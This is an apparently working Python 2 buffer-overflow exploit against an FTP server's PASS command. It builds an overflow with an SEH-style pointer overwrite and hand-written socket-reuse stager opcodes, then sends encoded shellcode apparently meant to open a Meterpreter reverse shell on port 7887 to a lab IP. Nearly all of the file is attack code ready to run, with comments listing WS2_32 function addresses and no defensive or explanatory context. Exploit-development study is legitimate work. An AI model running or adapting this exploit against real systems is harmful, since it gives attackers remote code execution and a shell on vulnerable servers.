#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
from ftplib import FTP
from struct import pack
from time import sleep

host = '172.16.192.167'
port = 21
max_size = 3500
eip_offset = 2559

rev_met_7887 =  ""
rev_met_7887 += "\xb8\xc6\x9a\xd2\xb8\x89\xf6\x33\xc9\xb1\x56"
rev_met_7887 += "\x31\x46\x13\x03\x46\x13\x83\xee\x3a\x78\x27"
rev_met_7887 += "\x44\x2a\xff\xc8\xb5\xaa\x60\x40\x50\x9b\xa0"
rev_met_7887 += "\x36\x10\x8b\x10\x3c\x74\x27\xda\x10\x6d\xbc"
rev_met_7887 += "\xae\xbc\x82\x75\x04\x9b\xad\x86\x35\xdf\xac"
rev_met_7887 += "\x04\x44\x0c\x0f\x35\x87\x41\x4e\x72\xfa\xa8"
rev_met_7887 += "\x02\x2b\x70\x1e\xb3\x58\xcc\xa3\x38\x12\xc0"
rev_met_7887 += "\xa3\xdd\xe2\xe3\x82\x73\x79\xba\x04\x75\xae"
rev_met_7887 += "\xb6\x0c\x6d\xb3\xf3\xc7\x06\x07\x8f\xd9\xce"
rev_met_7887 += "\x56\x70\x75\x2f\x57\x83\x87\x77\x5f\x7c\xf2"
rev_met_7887 += "\x81\x9c\x01\x05\x56\xdf\xdd\x80\x4d\x47\x95"
rev_met_7887 += "\x33\xaa\x76\x7a\xa5\x39\x74\x37\xa1\x66\x98"
rev_met_7887 += "\xc6\x66\x1d\xa4\x43\x89\xf2\x2d\x17\xae\xd6"
rev_met_7887 += "\x76\xc3\xcf\x4f\xd2\xa2\xf0\x90\xbd\x1b\x55"
rev_met_7887 += "\xda\x53\x4f\xe4\x81\x3b\xbc\xc5\x39\xbb\xaa"
rev_met_7887 += "\x5e\x49\x89\x75\xf5\xc5\xa1\xfe\xd3\x12\xb0"
rev_met_7887 += "\xe9\xe3\xcd\x7a\x79\x1a\xee\x7a\x53\xd9\xba"
rev_met_7887 += "\x2a\xcb\xc8\xc2\xa1\x0b\xf4\x16\x5f\x06\x62"
rev_met_7887 += "\x35\x8f\xd6\x98\x2d\xad\xd6\x42\x61\x38\x30"
rev_met_7887 += "\x2a\x2d\x6a\xed\x8b\x9d\xca\x5d\x64\xf4\xc5"
rev_met_7887 += "\x82\x94\xf7\x0c\xab\x3f\x18\xf8\x83\xd7\x81"
rev_met_7887 += "\xa1\x58\x49\x4d\x7c\x25\x49\xc5\x74\xd9\x04"
rev_met_7887 += "\x2e\xfd\xc9\x71\x49\xfd\x11\x82\xfc\xfd\x7b"
rev_met_7887 += "\x86\x56\xaa\x13\x84\x8f\x9c\xbb\x77\xfa\x9f"
rev_met_7887 += "\xbc\x88\x7b\xa9\xb7\xbf\xe9\x95\xaf\xbf\xfd"
rev_met_7887 += "\x15\x30\x96\x97\x15\x58\x4e\xcc\x46\x7d\x91"
rev_met_7887 += "\xd9\xfb\x2e\x04\xe2\xad\x83\x8f\x8a\x53\xfd"
rev_met_7887 += "\xf8\x14\xac\x28\x7b\x52\x52\xae\x54\xfb\x3a"
rev_met_7887 += "\x50\xe5\xfb\xba\x3a\xe5\xab\xd2\xb1\xca\x44"
rev_met_7887 += "\x12\x39\xc1\x0c\x3a\xb0\x84\xff\xdb\xc5\x8c"
rev_met_7887 += "\x5e\x45\xc5\x23\x7b\x76\xbc\x4c\x7c\x77\x41"
rev_met_7887 += "\x45\x19\x78\x41\x69\x1f\x45\x97\x50\x55\x88"
rev_met_7887 += "\x2b\xe7\x66\xbf\x0e\x4e\xed\xbf\x1d\x90\x24"

exploit  = ""
exploit += "\x50"    				      	#    PUSH EAX - FLAGS
exploit += "\xB4\x02"    			    	#    MOV AH,2 
exploit += "\x50"    					      #    PUSH EAX - SIZE
exploit += "\x54"    					      #    PUSH ESP
exploit += "\x58"    					      #    POP EAX

exploit += "\x66\x05\x38\x0F"  			#    ADD AX,0F38
exploit += "\x8B\xF0"  					    #    MOV ESI, EAX	
exploit += "\x50"  						      #    PUSH EAX - BUFFER
exploit += "\x66\x2D\xF6\x0E"  			#    SUB AX,0EF6
exploit += "\x80\xC4\x01"  			  	#    HACK BC 0D NOT ALLOWED; ADD 1 
exploit += "\xFF\x30"  				    	#    PUSH DWORD PTR DS:[EAX] - HANDLER	
exploit += "\xBB\x77\x74\x62\x45"  	#    MOV EBX,45627477
exploit += "\xC1\xEB\x08"  				  #    SHR EBX,8
exploit += "\xFF\xD3"  					    #    CALL [EBX]

payload = "PASS "
payload += "\x2c" + "A" * eip_offset
payload += "\xEB\x0e\x90\x90"
payload += pack("<L",0x10012462)
payload += "\x90" * 10	
payload += exploit	
payload += "\x90" * 4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "[*] Connected To Target: {0} on Port: {1}".format(host,port)
print s.recv(2048)
print "[*] Sending USER anonymous"
s.send("USER anonymous\r\n")
print s.recv(2048)
s.send(payload + "\r\n")
print "[*] Sent Payload: {0}\r\nLength: {1}".format(payload,len(payload))
s.send(rev_met_7887)
s.close

# 0045629E   $-FF25 9CE74700  JMP DWORD PTR DS:[<&WSOCK32.#23>]        ;  WS2_32.socket
# 004562A4   $-FF25 A0E74700  JMP DWORD PTR DS:[<&WSOCK32.#2>]         ;  WS2_32.bind
# 00456286   $-FF25 8CE74700  JMP DWORD PTR DS:[<&WSOCK32.#13>]        ;  WS2_32.listen
# 004562F8   $-FF25 48E74700  JMP DWORD PTR DS:[<&WSOCK32.#1>]         ;  WS2_32.accept
# 00456274   $-FF25 80E74700  JMP DWORD PTR DS:[<&WSOCK32.#16>]        ;  WSOCK32.recv
